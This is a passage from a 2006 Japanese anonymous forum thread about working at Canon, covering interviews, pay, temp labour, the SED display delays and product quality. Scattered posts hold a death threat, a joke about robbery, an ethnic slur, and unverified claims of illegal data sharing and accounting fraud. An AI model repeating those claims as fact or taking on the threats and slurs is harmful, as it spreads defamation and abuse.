その後は、主に人事の方から質問があったのですが、人事の方の質問が
学生に聞くような質問ばかりでした。
「あなたの長所と短所は?」
「休日は何をされてますか?」
「自己PRしてください」
中途の面接でこんなことを聞かれたのは初めてでした。。。
人事の方に聞かれた一番萎えた質問が
「○○さんの給料はうちの部課長級ですよ。どうしてこんなに高いのですか?」
でした。
私の年収は30代平社員で賞与込みで700万円(税込)を少し超える程度です。
今の会社の親会社の人はさらに高いです。
私は「お前らの給料って一体いくらなんだよ!」と心の中で叫びました。
キヤノンさんの基本給ってそんなに安いのですか?
新聞を見る限りはボーナスは派手に出ているようですが。

最後に質問タイムがあったのですが、もう嫌になってたいしたことは聞きませんでした。
人事の方に「結果は一週間以内にできるだけ早くご連絡しますから」と言われて、
50分の面接は終わりました。

家に帰りながら私はキヤノンまで何をしに行ったのだろうと後悔していました。
その後、一週間経っても連絡は来ず、9日後に不採用の通知が来ました。
落ちて良かったような気もしますが時間の無駄だった・・・
○| ̄|_

258 :a:2006/07/02(日) 19:38:42 ID:wraS/QWr
まぁ質問内容よりおまいさんがどう答えたかを書け。
はなしはそれからだ。

259 : :2006/07/02(日) 20:52:42 ID:T2a/yqFb
>>256-257
最初から取る気ないよ、それ
学歴のことなんて普通は聞かれない

260 :259:2006/07/02(日) 20:56:41 ID:T2a/yqFb
早い話が典型的な人事の実績作りだ

261 :  :2006/07/02(日) 22:38:54 ID:Fr24RKGi
>>256 技術系の中途採用者のスキルについては、
各社、紳士協定を結んで情報交換している。
はっきりいえば、個人情報を漏洩させているのが現実だ。
貴方が勤めている会社や、以前勤めていた会社の人事部も
すべて、貴方の行動はお見通しさ。
法律的には完全に違法だが、それを証明する手段がないということだね。

でも、世間ではもっともっと汚いことも行われている。
会社で苛めながら、一方では人事部がリクルート会社を使ってトラバーユを
促すという手法なんかが、それにあたる。

貴方の場合は、それじゃなかったんだから、まあいいじゃないですか。
きっぱり忘れて、前向きに生きてゆくことをお勧めします。
人生は長いんです。
キヤノンだって、20年後にはケンウッドのようになっているかもしれません。
まあ、そういうことだから、気を落とさず頑張ってください。

262 : :2006/07/02(日) 23:25:03 ID:CIIMU1lp
>>261
> 技術系の中途採用者のスキルについては、
> 各社、紳士協定を結んで情報交換している。
> はっきりいえば、個人情報を漏洩させているのが現実だ。
> 貴方が勤めている会社や、以前勤めていた会社の人事部も
> すべて、貴方の行動はお見通しさ。

本当かねぇこれ?
まあ、できなくはないだろうけど

263 : :2006/07/02(日) 23:32:39 ID:CIIMU1lp
>>257
キヤノンって給料安いって本当?
中小よりもいいだろうけど、ボーナスが高いだけなのかな?
福利厚生なしだとするとちょっとさみしいね

264 : :2006/07/02(日) 23:47:34 ID:rHvg1SvW
職能性を採って実力主義って言ってるらしいけど、
所詮建前。
適した人がいるのに、職能以上の仕事をやらされ、
試験は結果を知らされずに、いい点でも結局ナンクセつけて
落とされる。給料をおさえるために。

265 :kyanon:2006/07/03(月) 00:03:21 ID:auTIsKzH
>>256

ネタ乙
中途で学歴なんてきかれるわけない。


266 :hatopoppo:2006/07/03(月) 00:43:25 ID:zN8wpQfb
>>258
そんなこと書いたら誰なのかバレるし

>>259-260
なるほど。だとしたら調査目的の面接かもしれませんね

>>261
(((( ;゜Д゜)))ガクガクブルブル
今の会社にバレるのは嫌だ・・・

>>265
ネタだったらこんなに具体的に書けないよ

267 : :2006/07/03(月) 01:31:26 ID:83ddxUVw
>>256
人事スタッフも派遣社員が増えていることを知っていますか?
面接の練習と称して最初から採用する気の無い人を書類選考通過させることを知っていますか?
あなたは技術系一筋で外界を知らないのだとしたら今回はいい勉強ではないかと思います。
航空機の操縦暦も計2万時間以上の飛行暦がないと機長になれないように、人事採用面でも何人面接したかが一つの人事スタッフのキヤリアになります。
正社員採用の世界ではごく一般的です。
あなたはただ面接の練習に利用されただけです。
大企業だから採用に失敗しても問題ないようですが、中小企業でもこのような練習行為はしばしば見受けられます。
くだらないことを質問してこれで採用されるような会社はあなたも危険だなと察知するはずです。
変な質問だと感じたら相手の真意を質問しましょう。
私は多数の転職活動を行うあまり面接慣れしてしまったので各社人事面接の意図を数分で判断できるようになりました。

変な質問が多く意味が無いと感じたら履歴書を奪い取って速やかに帰宅しましょう。
そういう会社は転職したところでまともな会社生活を送ることは不可能でしょう。

268 :通りすがり:2006/07/03(月) 03:02:07 ID:pejbYAI1
 ちょいとゴメンよ。 興味がなければスルーで。
 2ちゃんねるにスレが立つ企業には蔓延し易いもんで。
 ホリエモンの所もそうだった?笑

-無形的方法による犯罪その他証拠収集が困難な犯罪被害に関するレポート-

一.目次、投稿の動機
 http://tmp6.2ch.net/test/read.cgi/company/1151068892/3-6
二.訴えられている犯罪被害の内容・手口
 0.類型
  http://tmp6.2ch.net/test/read.cgi/company/1151068892/7
 1.ストーカー的行為による被害
   http://tmp6.2ch.net/test/read.cgi/company/1151068892/8
  A 無形的方法が伴なわない場合
    http://tmp6.2ch.net/test/read.cgi/company/1151068892/9
  B 無形的方法を伴なう場合
    http://tmp6.2ch.net/test/read.cgi/company/1151068892/10
  C マスメディア(TV・ラジオ)が関係する場合
    http://tmp6.2ch.net/test/read.cgi/company/1151068892/11
 2.身体への加害行為
   http://tmp6.2ch.net/test/read.cgi/company/1151068892/12-14

269 : :2006/07/03(月) 05:14:39 ID:+u6M4zv2
キヤノンのみんな教えてYO!
>>257の人よりもキヤノンって安いの?

270 :kyanon:2006/07/03(月) 10:58:51 ID:auTIsKzH
>>269
ぜんぜん。もっと高いよ。

30歳でも39歳でも30代だからね。。

271 : :2006/07/03(月) 11:43:27 ID:+klg9Cch
別冊ブブカの表紙にインチキ経営って書かれてるよ。

272 : :2006/07/03(月) 12:10:55 ID:q0TjHuaY
>270
30歳でも700万越えるのですか?

273 : :2006/07/03(月) 12:37:00 ID:83ddxUVw
30才で年収230万もいれば年収800万もいる格差社会の縮図会社だ

274 : :2006/07/03(月) 13:00:48 ID:S2lD9wyO
230万でネタ決定

275 :かつての内定者:2006/07/03(月) 13:03:13 ID:jNIXuvbn
中途面談で学歴聞かれて学生時代の研究内容聞かれて内定貰ったお(´Д`lli)当日三十才ちょい前。
何が聞きたかったのか未だに不明(笑)

276 : :2006/07/03(月) 13:23:13 ID:83ddxUVw
年収230万円はネタじゃないよ
社内でアンケートでもとってみな

時給1000円の偽装請負さんもいるくらいだから

277 : :2006/07/03(月) 13:33:09 ID:YNJ5HOk/
請け負いのことなんてどうでもいい
ここは社員のスレッド

278 : _:2006/07/03(月) 17:39:49 ID:PVLS4XR7
SEDの裏事情は誰も知らないですか?

279 :  :2006/07/03(月) 19:54:37 ID:u2oL/NUp
表面上はポシャッったことにしてる

280 : :2006/07/03(月) 21:40:56 ID:fpL8z6zq
システム部門に外注がいる時点で?

281 : :2006/07/03(月) 22:14:34 ID:L8+hqsMA
>>262 バブルの頃、カスつかまされる事が、各社で発生してな。
それで紳士協定結んだって経過だ。
ただ、仲の悪い会社同士は、上手くいっていないのが現状だ。

282 : :2006/07/03(月) 22:24:03 ID:wtGpFQiC
「SEDは絶対に止めない!○年には商品化する!」→「発売延期」の繰り返しだね。
もう3回ぐらい繰り返したっけ?
2000年ごろから言ってた気がする。

283 : :2006/07/03(月) 23:45:14 ID:EYZVumqf
>>269
ネットで調べたところキヤノンは基本給はそんなに高くないけど
残業代とボーナスで年収はそこそこ高くなるみたい。

284 :小口:2006/07/04(火) 09:17:28 ID:dRhwrhfS
>296
つまり社員にとってはリスクの高い会社

285 :sage:2006/07/04(火) 20:04:55 ID:vlq+mt2b
今の部署ではShareが大人気。
「ny、MX?古い古い。今はShareだよ」って仕事中にやってる奴多い。
昼休みは暗がりの部屋で色々落としてる奴がいるんだが、大丈夫なんだろうか。

286 : :2006/07/04(火) 20:06:07 ID:N1wvSFja
SEDの人員募集してるみたいだけど、行くべきだろうか?
キヤノンの一員になれば安定と高収入確定なのは魅力的

287 :  :2006/07/04(火) 21:46:26 ID:fOQ4Dq2N
>>282 ミドリ電化のテレビ売場のアンちゃんの話しでは、
12月発売に決まったとか。
設備業者の進捗具合とも重なるところ多いから
おいらは、信用したが・・・・・

ポシャッたとは初耳だな。

288 ::2006/07/04(火) 22:22:51 ID:P7uLQJjP
とっととやめてえぜこんなくそ会社。
ニートになりてえ

289 : :2006/07/05(水) 00:53:34 ID:Y0gHSw2k
管理課のヒロコちゃん♪ ムッハー(*゚∀゚)=3

290 : :2006/07/05(水) 02:22:51 ID:XsDlUOrX
>>285
http://wwwsm1.ccc.canon.co.jp/hrm/jinji.html

291 :阿見工場:2006/07/05(水) 20:50:36 ID:IQPefPEb

パワーハラスメントが多いので病気になる。ヨシ!

292 :阿見工場:2006/07/05(水) 21:48:26 ID:IQPefPEb
死ぬのは簡単だけど生きることは難しい
生きることよりも人を生かすことのほうが難しい

あなたは誰に生かされてますか?
私は両親が必死で生かしてくれていることを思うと
自殺なんてあほらしく思えてきました。
あなたを生かしてくれている人のことを考えてみてください
1回、自分の環境を自分の手で壊してみてください
なんとなく、気が楽になると思いますよ。

293 :  亜美:2006/07/05(水) 23:13:04 ID:IQPefPEb
タクト一秒で俺は殺されている

294 : :2006/07/05(水) 23:30:06 ID:wqZA7CJG
>291  危険予知トレーニングみたいやな

295 :みつ子:2006/07/06(木) 00:02:10 ID:DWe6Xo1C
12年派遣で働いてて、首切られそうになってあわてて
個人加盟の労組に駆け込んで社員になったオバサンが
いたけど、社内で今どういう扱いされてるのかな?
派遣時代と年収同じって聞いたけど〜

296 :阿見2:2006/07/06(木) 00:21:49 ID:l9RmZ1x6
どれだけ安い給料で社員を馬車馬のように働かせるかが人事の腕の見
せ所なんだけど、導入手法に拙さを感じる。管理職が(開発マネジメント
や実務は優秀だけど)人事管理能力がほとんど無い人間が95%以上
なんだから、放任しといて管理職がきちんと評価のアセスメントできる
はずがない。俺の場合は予想していたランクと同じだったからいいけど、
「記号」を伝えられただけ(面談時間1分)普通は質問とか、設定した
目標と評価の関係、評価に至った経緯などをつたえるはずだけど。

目標管理制度の一番大事なところが欠けてるんだよな。人事からの直接
の説明は一切ない(せめて一斉に説明会くらい開け!)現場の管理職任
せのところがいい加減。キヤノンはいい加減なのでFT廃止、成果
賃金直結主義の管理の仕組みを入れようとしてるんだけど、導入の
手法がいい加減なので、職場の信頼関係や仲間意識だけが破壊されて、
管理の仕組みも結局導入失敗で、某F通のように失敗するのではないか
と思う。これだけ大きな組織になるとコンサルが紙に書いてきたことを
焼きなおして導入するだけでいいってほど、人事の現場は甘くない。
コンサルには無駄金をはらっているな。


297 :阿見2での検閲行為:2006/07/06(木) 00:28:36 ID:l9RmZ1x6


電気通信事業法 第3条 【検閲の禁止】

 電気通信事業者の取扱中に係る通信は、検閲してはならない。

電気通信事業法 第4条 【秘密の保護】

 (1)電気通信事業者の取扱中に係る通信の秘密は、侵してはならない。
 (2)電気通信事業に従事する者は、在職中電気通信事業者の取扱中に係る通信に関して知り得た他人の秘密を守らなければならない。その職を退いた後においても、同様と
する。


298 :阿見セル:2006/07/06(木) 00:33:02 ID:l9RmZ1x6
セルセルセルあははははhふぁfはぽえfはぺおfh@

もう死にそうだ助けて

299 :元従業員:2006/07/06(木) 02:58:00 ID:RhXYMu5V
>>295
本来経費削減のために派遣を導入したのに社員にしなきゃいけないのは本末転倒じゃん。
通常そういったやりかたで社員になった人は少なくとも正社員じゃないよ。
最近になって派遣社員の新規採用方法がシビアになってきているのも
上のオバサンの例みたいに雇用義務を負わされても良いようにリスクが出来るだけ低い人材しか採用しないだろう。
お金がたくさん欲しいのは分かるが社会的信用と社内格差が開いていくのは阻止したほうがいいと思うよ。

300 :良し子:2006/07/06(木) 12:24:55 ID:jnTxdM8y
12年も大手という名前だけでダラダラと勤め続けた派遣の神経を疑うゾ
そういう女はたいてい 社員の男をゲットしようとか考えていたりするな
まともな人は正社員の口を捜して転職するよ・普通



301 :ゾロリ:2006/07/06(木) 22:34:47 ID:jnTxdM8y
12年派遣やってたおばさんが駆け込んだ東京ユニオンのホームページ見た。
上司に恵まれやりがいのある仕事って
給湯器の掃除?見舞金の集金?テニスクラブの連絡?
ただの社員のパシリじゃね〜の
12年もよく居たね。

302 ::2006/07/06(木) 23:09:33 ID:VxjdkqUe
12年前なら普通に中卒、高卒でも雇ってたんじゃね?

303 :  :2006/07/07(金) 00:17:30 ID:/TLXGL14
そーいう言い方はよくないんじゃない。
職場の人間関係が良かったと解釈すべきだよ。

304 : :2006/07/07(金) 00:46:10 ID:CAEXeckD
つ [http://www.nakata.net/official/]


305 :.:2006/07/07(金) 01:30:40 ID:ILRVqLHV
派遣での入社希望している者ですが、社内恋愛って難しいですか?
後、キヤノンで高学歴な人達はどの地区に多いのですか??


306 : :2006/07/07(金) 01:35:54 ID:tgjarhbD
>>299 何言ってんのさ。キヤノンはその昔、派遣で来ていた人達を採用しまくっていたじゃな
い。上層部も、いい人材が居れば積極的に採用せよ!ってね。余りにも目に余る行為だった
ので派遣会社の社長が乗り込んできたくらいだ。

307 :sage:2006/07/07(金) 01:46:47 ID:+opnpwJe
>>306
そうそう。
ちょっとPCが使えただけで即採用。明日から正社員。ってなってた。

しかし今は違うね。3年制度だっけ?廃止になったのかな?
せっかく育てた人材を上からの支持でどんどん契約切れにしていったよ。

新入くんは使えないのばっかりだし、ストレス溜まるわ。

308 : :2006/07/07(金) 02:16:03 ID:CAEXeckD
昔のキヤノンは赤字まみれだったじゃん。
金のないキヤノンに人は集まらないからそうせざるを得なかったでしょ。

309 : :2006/07/07(金) 05:19:49 ID:YTl+LeHr
>>307
ヒント:政令26業務

310 : :2006/07/07(金) 05:47:57 ID:CAEXeckD
派遣契約書の職種は何を書いてもいい。
これは役所やらが入って実際に確認するわけでもないから、たとえば

人事本部で事務の派遣をする場合→事務用機器の操作
映像事務機事業部で評価の派遣をする場合→事務用機器の操作
設備保守の仕事を請け負う派遣をする場合→事務用機器の操作

3年ルールの都合が悪くなればいくらでも逃げられます。
正直派遣法はザル法です。

311 : :2006/07/07(金) 07:26:15 ID:CAEXeckD
CFCへ強盗に入ろうと計画中です(^-^)ノ

312 :;:2006/07/07(金) 14:21:06 ID:ez5kaWOG
age

313 :IRC38:2006/07/07(金) 23:03:34 ID:xKECgw2s
おめーら もーちょっとましなコピー作れ!!!!!!!!

314 :  :2006/07/07(金) 23:57:27 ID:/TLXGL14
>>313 発売初期のユーザーを、耐久試験や品質チェックに使うの、ヤメレ。

315 : :2006/07/08(土) 00:39:07 ID:7h8haaC4
実に素晴らしいコストダウンだと思うけど?
まあ、実際は初期というより長期だけどな

316 : :2006/07/08(土) 09:31:45 ID:gWTSe3TA
客にデバッグさせんなバカ
どういうパーツ使ってんだよ

317 :美穂:2006/07/08(土) 10:34:03 ID:8xjtZ6CF
お客様の使用環境に合わせて最適なチューニングしてるんだよ

318 : :2006/07/08(土) 14:11:04 ID:laIAZ6zp
ユーザーで耐久試験や品質チェックして対策するならまだしも、放置されてはね・・・

319 :鬱男爵:2006/07/08(土) 18:27:14 ID:0II5Ivws
「お客様参加型品質チェック」って、半胴体だけかと
思ったらそうでもなかったんだな。便所の体質か。

320 :去勢:2006/07/08(土) 23:36:32 ID:UcT/fhOF
お客様と共に製品の質を高めていく

これは企業理念である『共生』の体現です。
有言実行。
それが便所クオリティー orz


>>305
いい匂いがすれば勝ち組。


321 :___:2006/07/09(日) 02:15:39 ID:QAW6bpJS
取手に社長来訪。
早速、居室の通路や机の上をきれいにしろと全員メール。
年始の事業所巡回もそうだけど、悪いところを隠し、いいところだけ見せる。
そんな体質だから品質問題は拡大する一方なんだよ。


322 ::2006/07/09(日) 10:18:34 ID:Fs4OKqCo
某社の社長は社長時代に机の引き出しの中まで視察してたな。
だから引き出しの中まで大掃除を指示されていた。

323 : :2006/07/09(日) 12:52:43 ID:+YtFFTEB
けどネットが普及してユーザー間の情報が激しくなったから昔のように隠蔽は出来ないようだね。

http://www.kakaku.com/bbs/Main.asp?SortID=3589311
これなんて3年間放置したのに、2chに専用スレが出来て「キヤノンは隠蔽体質」と叩かれたとたん
有り得ない速さで公表したしw

324 : :2006/07/09(日) 13:13:48 ID:WroWfK78
>>321
通達を出す方も、それに低レベルなイチャモンつける方も幼稚だな。
もっと大人になれよ。

325 :オイオイ:2006/07/09(日) 20:37:55 ID:9iYltK1A
ホントやんなるな〜
いろんなとこにスレ立つだけの会社だよな〜・・・
くさってるよ!

326 : :2006/07/09(日) 22:53:21 ID:+Oha/YOS
>>321
それでこの会社でもやってることだろ

327 : :2006/07/09(日) 22:53:48 ID:pKVSf2NL
キヤノンの製品って不良が多いのですか?
私も去年、PowerShotS60ってカメラを買ったのですけど、
購入してしばらく後、シャッターを押したら再起動する不良に遭遇しました。
キヤノンに送ったらCPU基板がぶっ壊れていたので交換したとのこと。
その後、バッテリーが早く消耗する現象が起きたのでキヤノンに送ったら
カメラ本体のバッテリーの電圧を検出する仕組みの異常でした。
保証期間中に二回も修理に送りました。
今は普通に動作していますが、いつ壊れるかと思うと(((( ;゜Д゜)))ガクガクブルブルです。

328 : :2006/07/10(月) 00:34:16 ID:ixe4401c
キヤノンの品質の悪さは有名だろよ。
その分安くなってんだから自己責任で買いなさい。

329 : :2006/07/10(月) 01:24:17 ID:ncJEtfTy
人件費を圧縮して派遣や請負を採用したり品質保証体制を緩和して細かいチェックをしてこなかったツケです。
目先の利益を狙うあまり将来の利益を逃してますよキヤノンさん。

330 : :2006/07/10(月) 07:45:06 ID:XajeHhyZ
>>327
ちゃんと修理してもらえただけ良いだろ?こいつらの身にもなってみろ。
http://www.kakaku.com/bbs/Main.asp?SortID=3589311

331 : :2006/07/10(月) 23:15:43 ID:7HwI39lc
> 法人税率下げ検討を・御手洗日本経団連会長

おいおい、もっと庶民の負担を増やせってか?

332 : :2006/07/10(月) 23:55:06 ID:Bju/gYmB
社員の給料と税金を減らすのは利益を上げる一番の近道

333 : :2006/07/11(火) 10:34:25 ID:MdxpMFdE
http://headlines.yahoo.co.jp/hl?a=20060711-00000013-kyodo-soci
キヤノンが下の指導を受けた時って報道されたっけ?
http://www.kakaku.com/bbs/Main.asp?SortID=3588667

334 :A:2006/07/12(水) 01:04:26 ID:p/bpdP/j
   ____________\∧     ∴ .・,‘_    /〈
________─────,.-─-、 7'  , ./ >   \\  ―  、
──────── ̄ ̄ __,ノ  _,,_, ', > "/ /\ \ _  \\:・=
    ̄ ̄ ̄ ̄ ̄ ̄ ̄/´《,_  ,r'´'"  ,ノ >∠_ ― -\ \, ― l |  :. :\\\
             へ   )) Yし〜'”  ゝ / (. -    \ \  | |  .
          //,)) / 〃/  /∨) _(⌒ヽ  ∩    \ \_| |   .::   | | | |
         ∠/ / / 〃/  __            | |   ∩ 〉   ノ  ’;
       / ヾ='  / 〃/ __f' 〉           | |    | |/   /       |‖|
      人      7─' ̄,.-'''´            \ \__|/   /  ; ..: ::  
      /ミ,\____   7ー‐''´                \      /   ∴:: ..  ///
      / \    !|i ̄〈                     >  /., :  ’・
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335 :だから:2006/07/12(水) 23:14:10 ID:p9/spqf0
市場で土俵にのれるまともなMFP製造しろ。話はそれからだ。焼き直しで新鮮味も
なにもないオナニーマシンばっか発表するんじゃないよ。迷惑だ。いっそ撤退しろ

336 :_:2006/07/13(木) 00:32:29 ID:+8PJ2YkY
ペットショップにて

とある旅行者がシリコンヴァレーのペットショップをのぞいていると、 別の客が入ってきて店員にこういった。
「Cモンキーを一匹お願いします」
店員はうなずくと、棚のかごから猿を一匹取り出した。店員は、首輪とひもを猿に付けると、お客に渡した。
「50万円です」
客は金を支払うと、猿を連れて出ていった。

びっくりした旅行者は、店員にたずねた。
「そりゃまたえらく値の張る猿ですねぇ。普通猿は数万円ぐらいのものでしょう。なぜそんなに高いのですか」

店員は答えた。
「あの猿は、C言語でコードが書けるんです。非常に早く、タイトでバグなしのをね。値段に見合うと思いますよ」

旅行者は、かごに入った猿をしみじみと見始めると、店員にこう言った。
「この猿は、さらに高いじゃないか。100万円!こいつは何ができるんだい」

店員は答えた。
「その猿は、C++モンキーです。オブジェクト指向プログラミングができて、C++やJavaまで使えます。かなり使えるやつですよ」

旅行者はさらに周りを見渡し、かごを一人占めしている3つめの猿を見つけた。 その猿には、なんと500万円の値札が付いていた。 彼は、あえぎながら店員に聞いた。
「この猿は、他の猿を全部合わせたよりも高いじゃないか。こいつは、一体全体、何ができるんだい」

「えーとですね」
店員は答えた。
「こいつに何が出来るか、実は私も知らないんですよ。こいつは"管理職"と呼ばれてますがね」

337 :^^:2006/07/13(木) 10:52:06 ID:qQszReJ5
うまい例えだな

338 :  :2006/07/13(木) 21:49:41 ID:Tp3heFac
>>338 イソップ童話を読んでいるようだ。
イソップはギリシアの奴隷だったが、あまりにタチノ悪い例え話ばかり吹聴するので、
主人に首を切り落とされたそうです。
個人を特定されないように、気をつけてくださいね。

339 : :2006/07/14(金) 20:01:53 ID:H50rCQoP
33才・G2で年収620万(もちろん税込)

340 : :2006/07/14(金) 21:17:13 ID:bHClis+e
>>339
試験頑張れ。
つか、ボーナス入れてもそんなもん?

341 :ppp:2006/07/14(金) 22:17:10 ID:FYSOsW44
試験に落ちる奴=残業で忙しい奴
試験に受かる奴=毎日暇。窓際族

342 :名無しさん:2006/07/14(金) 22:40:40 ID:1dEtdpgE
映事の方いますか?環境どうですか?室によって違う?

343 :は?:2006/07/14(金) 23:58:09 ID:Gq8BPavU
環境試験室のことですか?

344 : :2006/07/14(金) 23:59:29 ID:pdLw2Jf2
>>339
256-257の人より安いね

345 :おいおい:2006/07/15(土) 00:33:54 ID:QKClNG+M
あんたら製造だよな なんか年収?だとかどこぞの所属?だとか幸せな方々ですね
あんたらみたいな緊張感もなんもない人たちが結果的に作りあげた製品がキヤノン
の名前の下、市場に出回りどんだけ消費者及び販売店に迷惑かけたか分かってます
か?今 あんたたちの作っている商品はくそ以下です。

346 :346:2006/07/15(土) 00:38:40 ID:S0+Tk+7R
>>345
あなたはサービスマンですか?サービスマンは大変らしいね。

347 : :2006/07/15(土) 12:42:08 ID:UBE6BTUn
製造とか言ってる時点でINC正社員じゃないわな
かわいそうだから、そのままにしてあげようよ

348 : :2006/07/15(土) 15:37:23 ID:dagt8eGo
キヤノンの正社員って下丸子だと日経データの年収ベースみたいだけど、他の事業所だとどう考えても年収400万が精一杯じゃないか?
下丸子でも社内の身分格差がひどいけどさ、交通費税金込みで年収200万なんて普通に居るよ。

349 : :2006/07/15(土) 17:11:31 ID:s4FlF3ea
鬱蚤屋の駐車場見たことあるかい?400/yなんかじゃ買えない車がいっぱい停まってるよ

350 : :2006/07/15(土) 18:41:32 ID:oyBH7tac
>>348
> 下丸子でも社内の身分格差がひどいけどさ、交通費税金込みで年収200万なんて普通に居るよ。

派遣が安いのは当然だろ

351 :unn:2006/07/15(土) 20:59:50 ID:K+r3/+ml
aaa

352 : :2006/07/16(日) 02:30:16 ID:jtXRdZwj
290 名前:大分キヤノン[] 投稿日:2006/07/13(木) 23:45:56 ID:OLhKY3Lr
の工事をしてるんですが なんか安い仕事してますよね でかい地震くれば 崩壊ですな

353 : :2006/07/16(日) 04:21:29 ID:7e8JmtDD
建ててもすぐに壊すんだから耐震性なんて要らない。
チョソンみたいな建設会社で十分。

354 : :2006/07/16(日) 04:29:00 ID:7e8JmtDD
>>350
その派遣ですら最近じゃ満足に派遣契約できないほど行き詰まってるぞ。
キヤノンって実態はお金がほとんど残ってないんじゃないの?
粉飾決算の疑いあり。

355 :  :2006/07/16(日) 10:56:35 ID:MD52kuCT
07年問題であぼーん

356 : :2006/07/16(日) 20:52:21 ID:kqnqnqum

そろそろ試験問題、出回ってる?


357 :256=257:2006/07/16(日) 22:27:23 ID:oaZGoqfT
>>339
私もほぼ同年齢です。
やはり安いですね、キヤノンさん・・・

358 : :2006/07/16(日) 23:40:34 ID:ydXSh/pj
>>354 派遣さんに支払う単価も切り詰めないと最高益更新がままならないから。
もうね、更新し続けないといけない体質、体制になっている。横這いなんて認めら
れない。ちょっとでも成長が鈍ると株価が・・・

359 :_:2006/07/17(月) 09:48:56 ID:nQSXU7Pb
G3試験の客観式のテスト、市販の対策本とかあったら教えてほしい

360 :遠い記憶:2006/07/17(月) 11:58:21 ID:OV7/+JPN
32でG2ですか?何か人格に問題でも・・・


361 : :2006/07/17(月) 15:59:46 ID:LhjCQvQz
>>360
30代で格差がつくのですね

362 : :2006/07/17(月) 16:23:42 ID:SgtmCibG
>>360

何か脳に問題でも・・・

363 :-:2006/07/17(月) 18:54:42 ID:8+2Sg+4T
鬱飲み屋恒常
  頭を変えないともう無理
    頭悪過ぎすべてにおいて

   

364 ::2006/07/17(月) 19:16:50 ID:0L50/BCO
キャノンにも
今の財産や蓄えを浪費するだけのカスな管理職がいっぱいいるのか?



365 : :2006/07/17(月) 20:21:49 ID:pQaQmO0q
そりゃいるだろ。
バブル入社時代の管理職がうようよいるからな。

366 : :2006/07/18(火) 11:28:43 ID:FskWcvAC
米デル、日本で業務用カラープリンター事業に参入
http://www.nikkei.co.jp/news/main/20060718AT1D140AO17072006.html

印刷トナーなど交換部品も半額程度で販売。キヤノンなど国内各社の高収益構造が揺らぐ可能性が出てきた。

367 :田上:2006/07/18(火) 11:55:14 ID:RdsH04Y9
昔、キヤノンでHPのプリンタの評価やらされた。
HPブランドって中身はキヤノンだったのかと思い、ひどくガッカリした。

368 :磯野ナミヘイ:2006/07/18(火) 18:45:42 ID:RI/yFXhm
>>301 東京ユニオンのおばさん正社員になって1年以上経つけど
まだ年収200万チョイらしいね〜
12年居て正社員への声掛けが無かったなんてかなり使えない奴だろうから
当然か! 目障りだ。

369 :名無し:2006/07/18(火) 20:03:37 ID:0r5dVe2K
ん?取手がいるなぁ…臭うぞ(笑)

370 :モラルハザード:2006/07/18(火) 22:53:31 ID:mvEkFJYf
大仏は絶対ころす

371 :磯野ナミヘイ:2006/07/19(水) 00:08:24 ID:xNzXBv0q
コロシテクレ〜
ガイヤを見ると毎週憂鬱になる・・・

372 :モラルハザード:2006/07/19(水) 00:11:30 ID:aMyX8inx
               r'゚'=、          
               / ̄`''''"'x、
          ,-=''"`i, ,x'''''''v'" ̄`x,__,,,_
      __,,/    i!        i, ̄\ ` 、
  __x-='"    |   /ヽ      /・l, l,   \ ヽ
 /(        1  i・ ノ       く、ノ |    i  i,
 | i,        {,      ニ  ,    .|    |  i, 
 .l,  i,        }   人   ノヽ   |    {   {
  },  '、       T`'''i,  `ー"  \__,/     .}   |
  .} , .,'、       },  `ー--ー'''" /       }   i,
  | ,i_,iJ        `x,    _,,.x="       .|   ,}
  `"            `ー'"          iiJi_,ノ

373 :山本圭壱:2006/07/19(水) 00:17:04 ID:aMyX8inx
今後、吉本のタレントとして舞台に立つことはないけれど
お笑いをやめることは絶対にないだろう。
地方のスーパーの駐車場で、飲み屋で、近場のキャバクラで、相棒の加藤とコントをする代わりに
ピンのトークで客をドッカン,ドッカン笑わせてるだろう。初めて舞台に立った頃の瑞々しい気持ちを持って――。

これまで一緒に仕事をしてきたすべての芸人、関わってきてくれたすべての人々、
そして最後まで信じ応援し続けてきてくれたみんなに、心の底から一言を。

“やらないか”



374 : :2006/07/19(水) 04:55:07 ID:gUWxHwnH
>>367 でも、デバイスドライバも出来は段違いでHPのほうがよかったぞ。キヤノンは
ソフトウェアがダメだねぇと思った。今は知らんが。

375 :aa:2006/07/19(水) 18:28:54 ID:QIUFKa19
もうだめだ。間に合わない...。
逝くしかないのか....

376 : :2006/07/19(水) 19:50:43 ID:XFS0xIK1
最近は、昇格試験の問題は漏洩しないのかね?
昔は派手に漏れまくってて、試験をやり直した年があったけど
最近はやり直さないみたいだね

まぁ、事前の情報収集能力も評価のうち、ってことか

つまり、もう試験は始まってるってこった

377 :gg:2006/07/19(水) 21:17:40 ID:MEi4U8fj
論文は基本的な論述力があれば一発本番で大丈夫だろ。

リクルートの試験問題はなかなか漏れないだろう。
就職活動のときに二日連続で全く同じSPIに遭遇したことがあるけどww

378 : :2006/07/20(木) 00:40:19 ID:JcvIwpe0
ハゲの独り言(゚Д゚)ウゼェェェ

379 :ふぇ:2006/07/20(木) 23:28:17 ID:W1wVRHNG
もうだめぽ。つらい

380 : :2006/07/21(金) 00:31:53 ID:x5+bt/LU
パナはさすがだなあ

381 :     :2006/07/21(金) 00:57:53 ID:QqlFz7yI
ソシュウの奴ら死ねよ。

382 : :2006/07/21(金) 02:28:47 ID:z1M6EMxB
キヤノンも早いところ自社製撮像素子を投入せぇ!ってことで(一眼レフ除く)。

383 :下丸子ちゃん:2006/07/21(金) 15:17:22 ID:lUoigk8H
わが先端技術棟が誇る
世界のUZAWAの俊ちゃんを本気にさせたようだな。

384 ::2006/07/22(土) 14:14:33 ID:Jmm/0SGR
内田さん、いいこというな〜

385 :CPI:2006/07/22(土) 14:32:55 ID:R6Yo/65J

禁煙フォー

風俗フォー

386 :_:2006/07/22(土) 15:09:13 ID:lXALImQt
>>385
禁煙?

387 :こ〜:2006/07/22(土) 17:34:18 ID:O8e+Fgug
パナはね、労働組合が一緒になって首切りするから性質悪いよ。
選挙違反承知で運動させるしね。。困ったもんだわ。

388 :a ◆YG4pyopAMs :2006/07/23(日) 10:51:53 ID:inrPIUkh
HEHEHE

389 :380:2006/07/24(月) 00:24:04 ID:KifRU7De
>>387
103インチのプラズマディスプレイを
発表から数ヶ月で発売にもっていくことを言ってるんだよ

390 :  :2006/07/24(月) 02:02:34 ID:rR1Z3jnS
松下の御用組合ワロスwwwww
一緒に首切りwwww

いったい何円リベートもらってんだよwwwww

391 ::2006/07/24(月) 20:21:15 ID:c0DadQSx
まだですか?

「2002年に月産5万台を目指す」
http://techon.nikkeibp.co.jp/members/02db/199906/24364/
「2003年春に実用化し、2003年内に商品化する」
http://techon.nikkeibp.co.jp/members/01db/200206/1012196/
「2004年中にも製品化する」
